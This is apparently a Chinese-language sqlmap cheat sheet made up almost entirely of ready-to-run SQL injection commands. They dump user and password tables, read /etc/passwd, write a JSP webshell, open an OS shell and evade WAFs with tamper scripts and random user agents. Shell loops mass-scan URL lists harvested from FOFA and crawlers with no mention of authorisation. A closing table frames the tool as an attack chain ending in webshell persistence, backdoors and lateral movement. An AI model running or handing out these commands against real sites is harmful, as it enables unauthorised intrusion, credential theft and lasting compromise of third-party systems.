

sqlmap 是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不仅能识别注入,还能实现数据库指纹识别、表结构读取、数据导出、文件读写、提权、命令执行等。
git clone https://gitcode.com/sqlmapproject/sqlmap.git //国内镜像 cd sqlmap python3 sqlmap.py -h
sudo apt update sudo apt install sqlmap sqlmap -h
sqlmap -u "http://target.com/vuln.php?id=1" [options]
-u:目标 URL,支持 GET 和 POST 参数--data:提交 POST 参数--cookie:提交 Cookie 头-p:指定注入点参数--batch:自动确认(用于脚本执行时非交互)--random-agent:伪造浏览器 UAsqlmap -u "http://site.com/page.php?id=1"
sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
sqlmap -r request.txt
sqlmap -u "http://target.com/?id=1" --banner
sqlmap -u "http://target.com/?id=1" --current-db
sqlmap -u "http://target.com/?id=1" --current-user --is-dba
sqlmap -u "http://target.com/?id=1" --dbs
sqlmap -u "http://target.com/?id=1" -D testdb --tables
sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump
sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
sqlmap -u "http://target.com/?id=1" --random-agent
sqlmap -u "http://target.com/?id=1" --tamper=space2comment
推荐组合使用多个:
--tamper=space2comment,charunicodeescape,between
sqlmap -u "http://target.com/page.php?id=1" --technique=T
sqlmap -u "http://target.com/page.php?id=1" --technique=E
sqlmap -u "http://target.com/page.php?id=1" --stacked-query
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page.php?id=1" --file-write=./shell.jsp --file-dest="/var/www/html/shell.jsp"
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"
sqlmap -u "http://target.com/page.php?id=1" --os-shell
注意:必须具备数据库用户执行系统命令的权限(如
xp_cmdshell,load_file,into outfile等)
如果某参数中存在注入点,sqlmap 可尝试暴力登录:
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user --passwords
sqlmap -u "http://target.com" --batch --flush-session
sqlmap -u "http://target.com" --resume
--dbms=mysql # 强制使用 MySQL --technique=BEUSTQ # 指定注入技术
技术说明:
B:布尔盲注E:报错注入U:联合查询S:堆叠语句T:时间盲注Q:inline 查询| 场景 | 推荐参数 |
|---|---|
| 多参数存在注入 | 使用 --level=5 --risk=3 |
| 避免频繁交互 | 加 --batch |
| WAF 检测或屏蔽 | --random-agent --tamper |
| 响应慢 / 网站卡顿 | 加 --timeout=10 --retries=3 --delay=1 |
| 避免爆炸性数据 | 加 --fresh-queries --exclude-sysdbs |
例 1:自动识别 + 导出所有数据
sqlmap -u "http://example.com/vuln?id=1" --batch --dump-all
例 2:POST 登录接口注入测试
sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --batch
例 3:使用 Burp 抓包测试
sqlmap -r burp_request.txt --batch
例 4:读取数据库用户信息并执行 whoami
sqlmap -u "http://target.com/?id=5" --current-user --os-cmd="whoami"
| 建议 | 理由 |
|---|---|
使用 --batch 做自动测试 | 减少交互操作,提高效率 |
指定 -p 参数 | 避免浪费时间在无关参数 |
学会使用 -r 静态请求文件 | 更适合测试复杂 POST、Cookie 请求 |
配合 Burp + sqlmap 使用 | 手动确认参数后自动化测试更高效 |
测试环境先用 --risk=1 --level=1 | 线上目标避免影响服务 |
| 禁用系统功能或告警 | 如 --os-shell 等需谨慎使用 |
七、sqlmap 高级技巧 & 实战应用拓展
如果你有一个大量 URL 的列表,比如从 Google/Burp/爬虫中导出的可疑链接:
cat urls.txt | while read url; do sqlmap -u "$url" --batch --crawl=2 --threads=5 done
结合搜索引擎导出资产后:
for u in $(cat fofa_urls.txt); do sqlmap -u "$u?search=1" --random-agent --batch --level=3 --risk=2 done
| 场景 | 推荐组合参数 |
|---|---|
| 公开测试平台 / 漏扫 | --random-agent --batch --threads=5 |
| 内网实战探测(不打扰目标) | --level=1 --risk=1 --technique=B --time-sec=5 --delay=1 |
| 目标用 POST 登录 | --data="user=admin&pass=123" |
| Cookie 有效期短 | --cookie="JSESSIONID=xxxxxx" |
| 遇到 CDN 防护 | --tamper=between,space2comment |
| 目标只允许 HEAD 请求 | --method=HEAD |
| 深入盲注场景 | --technique=T --time-sec=10 |
sqlmap 支持用 --tamper 参数指定脚本,在发送请求前修改 Payload(用于绕过 WAF):
| 脚本名 | 功能说明 |
|---|---|
space2comment.py | 将空格替换为 /**/ 注释 |
between.py | 使用 BETWEEN 替代等号 |
charunicodeescape.py | 字符转为 unicode 编码 |
equaltolike.py | 将 = 替换为 LIKE |
randomcase.py | 字母大小写混淆 |
unionalltounion.py | 将 UNION ALL SELECT 改成 UNION SELECT |
percentage.py | 使用 % 编码关键字 |
✅ 组合使用示例:
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase --random-agent --batch
sqlmap -u "http://target.com/?id=1" --identify-waf
如果提示类似:
[!] WAF/IDS/IPS identified: Cloudflare
就说明目标使用了防御系统,应切换到:
--delay=1 --timeout=10--tamper--technique=B| 技术代码 | 类型 | 特点说明 |
|---|---|---|
| B | Boolean Blind | 最隐蔽,但慢 |
| T | Time-based Blind | 非回显场景常用 |
| E | Error-based | 快速,依赖数据库错误信息 |
| U | Union Query | 最快,依赖回显 |
| S | Stacked Queries | 可写文件/执行命令 |
| Q | Inline Query | 针对特定场景如 PostgreSQL |
bash复制编辑--technique=BEUSTQ # 开启所有类型 --technique=BEU # 只测回显类 --technique=T # 强制盲注
sqlmap 会默认保存扫描历史到 .sqlmap/output/host/,也支持:
--flush-session:清除上次扫描缓存--resume:恢复未完成任务--output-dir=custom/:自定义输出路径python3 sqlmapapi.py -s
POST /task/new
POST /scan/start
GET /scan/{id}/log
可搭配 Web UI 或自动化渗透框架集成,例如:
| 参数 | 功能 |
|---|---|
--batch | 省略交互 |
--forms | 自动识别表单 |
--threads=10 | 多线程加速 |
--output-dir=xxx | 指定输出目录 |
--crawl=2 | 自动爬取内部页面 2 层 |
--fresh-queries | 不使用缓存 |
--parse-errors | 尝试解析错误信息 |
--save | 保存参数为 profile |
| 渗透阶段 | sqlmap 使用点 |
|---|---|
| 信息收集 | 自动识别数据库、DBA 用户、DB 类型 |
| 权限提升 | 利用堆叠查询执行文件写入、提权脚本 |
| 持久化控制 | 写入 Webshell,执行后门 |
| lateral movement | 获取数据库中的 VPN 账号、内网 IP、后台密码等 |
--dbs --tables --dump)| 类型 | 链接 |
|---|---|
| 官网 | https://sqlmap.org |
| GitHub | https://gitcode.com/sqlmapproject/sqlmap |
| API 文档 | https://gitcode.com/sqlmapproject/sqlmap/wiki/Usage |
| Tamper 脚本文档 | https://gitcode.com/sqlmapproject/sqlmap/tree/master/tamper |
| sqlmap API 工具封装 | sqlmapapi-client |
sqlmap 不只是一个扫描工具,它是一台自动化的数据库信息提取武器库,只要你掌握参数,就能完成注入探测、提权、文件操作等一整套攻击链。